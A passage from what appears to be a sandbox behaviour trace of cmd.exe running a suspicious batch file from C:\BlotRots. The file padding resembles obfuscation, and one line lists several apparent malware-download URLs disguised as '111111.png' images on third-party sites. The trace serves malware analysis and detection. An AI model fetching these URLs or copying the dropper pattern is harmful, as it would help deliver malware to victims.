as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0231.839] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0231.839] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0231.844] ??_V@YAXPEAX@Z () returned 0x1 [0231.845] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.845] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0231.846] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.846] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0231.846] _get_osfhandle (_FileHandle=0) returned 0x4c [0231.846] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0231.847] SetConsoleInputExeNameW () returned 0x1 [0231.847] GetConsoleOutputCP () returned 0x1b5 [0231.847] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0231.847] SetThreadUILanguage (LangId=0x0) returned 0x409 [0231.847] ??_V@YAXPEAX@Z () returned 0x1 [0231.848] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0231.849] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0231.849] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.849] SetFilePointer (in: hFile=0x9c, lDistanceToMove=4172, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x104c [0231.849] GetProcessHeap () returned 0x20b0f920000 [0231.849] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956910) returned 1 [0231.849] GetProcessHeap () returned 0x20b0f920000 [0231.849] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9255e0) returned 1 [0231.849] GetProcessHeap () returned 0x20b0f920000 [0231.849] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947a50) returned 1 [0231.849] GetProcessHeap () returned 0x20b0f920000 [0231.849] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0231.850] GetProcessHeap () returned 0x20b0f920000 [0231.850] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957310) returned 1 [0231.850] GetProcessHeap () returned 0x20b0f920000 [0231.850] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0231.850] GetProcessHeap () returned 0x20b0f920000 [0231.850] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956880) returned 1 [0231.850] GetProcessHeap () returned 0x20b0f920000 [0231.850] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0231.850] GetProcessHeap () returned 0x20b0f920000 [0231.850] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947890) returned 1 [0231.850] GetProcessHeap () returned 0x20b0f920000 [0231.850] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0231.851] GetProcessHeap () returned 0x20b0f920000 [0231.851] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f926ea0) returned 1 [0231.851] GetProcessHeap () returned 0x20b0f920000 [0231.851] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f50) returned 1 [0231.851] GetProcessHeap () returned 0x20b0f920000 [0231.851] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e4d0) returned 1 [0231.851] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.851] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x104c [0231.852] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x769, lpOverlapped=0x0) returned 1 [0231.852] SetFilePointer (in: hFile=0x9c, lDistanceToMove=4181, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1055 [0231.852] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" \r\ndows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 9 [0231.852] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.852] GetFileType (hFile=0x9c) returned 0x1 [0231.852] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.852] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1055 [0231.852] GetProcessHeap () returned 0x20b0f920000 [0231.852] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0231.853] GetProcessHeap () returned 0x20b0f920000 [0231.853] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0231.853] _tell (_FileHandle=3) returned 4181 [0231.853] _close (_FileHandle=3) returned 0 [0231.853] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0231.853] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0231.853] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.853] SetFilePointer (in: hFile=0x9c, lDistanceToMove=4181, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1055 [0231.853] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.853] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1055 [0231.853] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x760, lpOverlapped=0x0) returned 1 [0231.853] SetFilePointer (in: hFile=0x9c, lDistanceToMove=4237, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x108d [0231.853] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=56, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" XP and is listed separately on this page. Synta \r\nSyntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 56 [0231.853] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.854] GetFileType (hFile=0x9c) returned 0x1 [0231.854] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.854] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x108d [0231.854] GetProcessHeap () returned 0x20b0f920000 [0231.854] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0231.854] GetProcessHeap () returned 0x20b0f920000 [0231.854] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0231.854] _wcsicmp (_String1="XP", _String2=")") returned 79 [0231.854] _wcsicmp (_String1="FOR", _String2="XP") returned -18 [0231.854] _wcsicmp (_String1="FOR/?", _String2="XP") returned -18 [0231.854] _wcsicmp (_String1="IF", _String2="XP") returned -15 [0231.854] _wcsicmp (_String1="IF/?", _String2="XP") returned -15 [0231.854] _wcsicmp (_String1="REM", _String2="XP") returned -6 [0231.854] _wcsicmp (_String1="REM/?", _String2="XP") returned -6 [0231.854] GetProcessHeap () returned 0x20b0f920000 [0231.854] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0231.854] GetProcessHeap () returned 0x20b0f920000 [0231.854] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x16) returned 0x20b0f928b90 [0231.854] GetProcessHeap () returned 0x20b0f920000 [0231.854] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x76) returned 0x20b0f94ac70 [0231.854] _tell (_FileHandle=3) returned 4237 [0231.854] _close (_FileHandle=3) returned 0 [0231.854] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0231.854] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.854] GetFileType (hFile=0x50) returned 0x2 [0231.855] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.855] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0231.855] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.855] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0231.859] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0231.859] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0231.859] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0231.859] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.859] GetFileType (hFile=0x50) returned 0x2 [0231.859] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.859] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0231.859] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.859] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0231.860] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.860] GetFileType (hFile=0x50) returned 0x2 [0231.860] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.860] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0231.860] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.862] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f928ba0*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f928ba0*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0231.863] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" and is listed separately on this page. Synta ") returned 51 [0231.863] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.863] GetFileType (hFile=0x50) returned 0x2 [0231.863] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.864] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0231.864] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.864] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x33, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x33) returned 1 [0231.864] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0231.864] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.864] GetFileType (hFile=0x50) returned 0x2 [0231.864] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.865] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0231.865] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.865] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0231.869] malloc (_Size=0xffce) returned 0x20b0fa60940 [0231.870] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0231.871] _wcsicmp (_String1="XP", _String2="DIR") returned 20 [0231.871] _wcsicmp (_String1="XP", _String2="ERASE") returned 19 [0231.871] _wcsicmp (_String1="XP", _String2="DEL") returned 20 [0231.871] _wcsicmp (_String1="XP", _String2="TYPE") returned 4 [0231.871] _wcsicmp (_String1="XP", _String2="COPY") returned 21 [0231.871] _wcsicmp (_String1="XP", _String2="CD") returned 21 [0231.871] _wcsicmp (_String1="XP", _String2="CHDIR") returned 21 [0231.871] _wcsicmp (_String1="XP", _String2="RENAME") returned 6 [0231.871] _wcsicmp (_String1="XP", _String2="REN") returned 6 [0231.871] _wcsicmp (_String1="XP", _String2="ECHO") returned 19 [0231.872] _wcsicmp (_String1="XP", _String2="SET") returned 5 [0231.872] _wcsicmp (_String1="XP", _String2="PAUSE") returned 8 [0231.872] _wcsicmp (_String1="XP", _String2="DATE") returned 20 [0231.872] _wcsicmp (_String1="XP", _String2="TIME") returned 4 [0231.872] _wcsicmp (_String1="XP", _String2="PROMPT") returned 8 [0231.872] _wcsicmp (_String1="XP", _String2="MD") returned 11 [0231.872] _wcsicmp (_String1="XP", _String2="MKDIR") returned 11 [0231.872] _wcsicmp (_String1="XP", _String2="RD") returned 6 [0231.872] _wcsicmp (_String1="XP", _String2="RMDIR") returned 6 [0231.872] _wcsicmp (_String1="XP", _String2="PATH") returned 8 [0231.872] _wcsicmp (_String1="XP", _String2="GOTO") returned 17 [0231.872] _wcsicmp (_String1="XP", _String2="SHIFT") returned 5 [0231.872] _wcsicmp (_String1="XP", _String2="CLS") returned 21 [0231.872] _wcsicmp (_String1="XP", _String2="CALL") returned 21 [0231.872] _wcsicmp (_String1="XP", _String2="VERIFY") returned 2 [0231.872] _wcsicmp (_String1="XP", _String2="VER") returned 2 [0231.872] _wcsicmp (_String1="XP", _String2="VOL") returned 2 [0231.872] _wcsicmp (_String1="XP", _String2="EXIT") returned 19 [0231.872] _wcsicmp (_String1="XP", _String2="SETLOCAL") returned 5 [0231.872] _wcsicmp (_String1="XP", _String2="ENDLOCAL") returned 19 [0231.872] _wcsicmp (_String1="XP", _String2="TITLE") returned 4 [0231.872] _wcsicmp (_String1="XP", _String2="START") returned 5 [0231.872] _wcsicmp (_String1="XP", _String2="DPATH") returned 20 [0231.872] _wcsicmp (_String1="XP", _String2="KEYS") returned 13 [0231.873] _wcsicmp (_String1="XP", _String2="MOVE") returned 11 [0231.873] _wcsicmp (_String1="XP", _String2="PUSHD") returned 8 [0231.873] _wcsicmp (_String1="XP", _String2="POPD") returned 8 [0231.873] _wcsicmp (_String1="XP", _String2="ASSOC") returned 23 [0231.873] _wcsicmp (_String1="XP", _String2="FTYPE") returned 18 [0231.873] _wcsicmp (_String1="XP", _String2="BREAK") returned 22 [0231.873] _wcsicmp (_String1="XP", _String2="COLOR") returned 21 [0231.873] _wcsicmp (_String1="XP", _String2="MKLINK") returned 11 [0231.873] _wcsnicmp (_String1="XP", _String2="cmd ", _MaxCount=0x4) returned 21 [0231.873] malloc (_Size=0xffce) returned 0x20b0fa70920 [0231.873] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0231.874] GetProcessHeap () returned 0x20b0f920000 [0231.874] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0231.879] SetErrorMode (uMode=0x0) returned 0x0 [0231.879] SetErrorMode (uMode=0x1) returned 0x0 [0231.879] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0231.879] SetErrorMode (uMode=0x0) returned 0x1 [0231.879] GetProcessHeap () returned 0x20b0f920000 [0231.879] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x3e) returned 0x20b0f957f90 [0231.879] GetProcessHeap () returned 0x20b0f920000 [0231.879] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x3e [0231.879] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0231.879] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0231.879] GetProcessHeap () returned 0x20b0f920000 [0231.879] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f947a50 [0231.879] GetProcessHeap () returned 0x20b0f920000 [0231.879] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0231.879] GetProcessHeap () returned 0x20b0f920000 [0231.879] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0231.879] GetProcessHeap () returned 0x20b0f920000 [0231.879] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0231.879] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0231.879] GetProcessHeap () returned 0x20b0f920000 [0231.879] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f947190 [0231.880] GetProcessHeap () returned 0x20b0f920000 [0231.880] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f947190, Size=0x7e) returned 0x20b0f956880 [0231.880] GetProcessHeap () returned 0x20b0f920000 [0231.880] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956880) returned 0x7e [0231.880] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.880] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.881] GetLastError () returned 0x2 [0231.881] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.881] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.881] GetLastError () returned 0x2 [0231.881] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.881] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.881] GetLastError () returned 0x2 [0231.881] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.881] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.882] GetLastError () returned 0x2 [0231.882] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.882] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.882] GetLastError () returned 0x2 [0231.882] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.882] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.882] GetLastError () returned 0x2 [0231.882] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.882] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.882] GetLastError () returned 0x2 [0231.883] ??_V@YAXPEAX@Z () returned 0x1 [0231.883] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0231.884] malloc (_Size=0xffce) returned 0x20b0fa70920 [0231.884] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0231.884] malloc (_Size=0xffce) returned 0x20b0fa80900 [0231.884] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0231.885] _wcsicmp (_String1="XP", _String2="DIR") returned 20 [0231.885] _wcsicmp (_String1="XP", _String2="ERASE") returned 19 [0231.885] _wcsicmp (_String1="XP", _String2="DEL") returned 20 [0231.885] _wcsicmp (_String1="XP", _String2="TYPE") returned 4 [0231.885] _wcsicmp (_String1="XP", _String2="COPY") returned 21 [0231.885] _wcsicmp (_String1="XP", _String2="CD") returned 21 [0231.885] _wcsicmp (_String1="XP", _String2="CHDIR") returned 21 [0231.885] _wcsicmp (_String1="XP", _String2="RENAME") returned 6 [0231.885] _wcsicmp (_String1="XP", _String2="REN") returned 6 [0231.885] _wcsicmp (_String1="XP", _String2="ECHO") returned 19 [0231.885] _wcsicmp (_String1="XP", _String2="SET") returned 5 [0231.885] _wcsicmp (_String1="XP", _String2="PAUSE") returned 8 [0231.885] _wcsicmp (_String1="XP", _String2="DATE") returned 20 [0231.885] _wcsicmp (_String1="XP", _String2="TIME") returned 4 [0231.885] _wcsicmp (_String1="XP", _String2="PROMPT") returned 8 [0231.885] _wcsicmp (_String1="XP", _String2="MD") returned 11 [0231.885] _wcsicmp (_String1="XP", _String2="MKDIR") returned 11 [0231.885] _wcsicmp (_String1="XP", _String2="RD") returned 6 [0231.885] _wcsicmp (_String1="XP", _String2="RMDIR") returned 6 [0231.885] _wcsicmp (_String1="XP", _String2="PATH") returned 8 [0231.885] _wcsicmp (_String1="XP", _String2="GOTO") returned 17 [0231.885] _wcsicmp (_String1="XP", _String2="SHIFT") returned 5 [0231.885] _wcsicmp (_String1="XP", _String2="CLS") returned 21 [0231.885] _wcsicmp (_String1="XP", _String2="CALL") returned 21 [0231.885] _wcsicmp (_String1="XP", _String2="VERIFY") returned 2 [0231.886] _wcsicmp (_String1="XP", _String2="VER") returned 2 [0231.886] _wcsicmp (_String1="XP", _String2="VOL") returned 2 [0231.886] _wcsicmp (_String1="XP", _String2="EXIT") returned 19 [0231.886] _wcsicmp (_String1="XP", _String2="SETLOCAL") returned 5 [0231.886] _wcsicmp (_String1="XP", _String2="ENDLOCAL") returned 19 [0231.886] _wcsicmp (_String1="XP", _String2="TITLE") returned 4 [0231.886] _wcsicmp (_String1="XP", _String2="START") returned 5 [0231.886] _wcsicmp (_String1="XP", _String2="DPATH") returned 20 [0231.886] _wcsicmp (_String1="XP", _String2="KEYS") returned 13 [0231.886] _wcsicmp (_String1="XP", _String2="MOVE") returned 11 [0231.886] _wcsicmp (_String1="XP", _String2="PUSHD") returned 8 [0231.886] _wcsicmp (_String1="XP", _String2="POPD") returned 8 [0231.886] _wcsicmp (_String1="XP", _String2="ASSOC") returned 23 [0231.886] _wcsicmp (_String1="XP", _String2="FTYPE") returned 18 [0231.886] _wcsicmp (_String1="XP", _String2="BREAK") returned 22 [0231.886] _wcsicmp (_String1="XP", _String2="COLOR") returned 21 [0231.886] _wcsicmp (_String1="XP", _String2="MKLINK") returned 11 [0231.886] _wcsicmp (_String1="XP", _String2="DIR") returned 20 [0231.886] _wcsicmp (_String1="XP", _String2="ERASE") returned 19 [0231.886] _wcsicmp (_String1="XP", _String2="DEL") returned 20 [0231.886] _wcsicmp (_String1="XP", _String2="TYPE") returned 4 [0231.886] _wcsicmp (_String1="XP", _String2="COPY") returned 21 [0231.886] _wcsicmp (_String1="XP", _String2="CD") returned 21 [0231.886] _wcsicmp (_String1="XP", _String2="CHDIR") returned 21 [0231.886] _wcsicmp (_String1="XP", _String2="RENAME") returned 6 [0231.886] _wcsicmp (_String1="XP", _String2="REN") returned 6 [0231.886] _wcsicmp (_String1="XP", _String2="ECHO") returned 19 [0231.886] _wcsicmp (_String1="XP", _String2="SET") returned 5 [0231.886] _wcsicmp (_String1="XP", _String2="PAUSE") returned 8 [0231.886] _wcsicmp (_String1="XP", _String2="DATE") returned 20 [0231.886] _wcsicmp (_String1="XP", _String2="TIME") returned 4 [0231.886] _wcsicmp (_String1="XP", _String2="PROMPT") returned 8 [0231.887] _wcsicmp (_String1="XP", _String2="MD") returned 11 [0231.887] _wcsicmp (_String1="XP", _String2="MKDIR") returned 11 [0231.887] _wcsicmp (_String1="XP", _String2="RD") returned 6 [0231.887] _wcsicmp (_String1="XP", _String2="RMDIR") returned 6 [0231.887] _wcsicmp (_String1="XP", _String2="PATH") returned 8 [0231.887] _wcsicmp (_String1="XP", _String2="GOTO") returned 17 [0231.887] 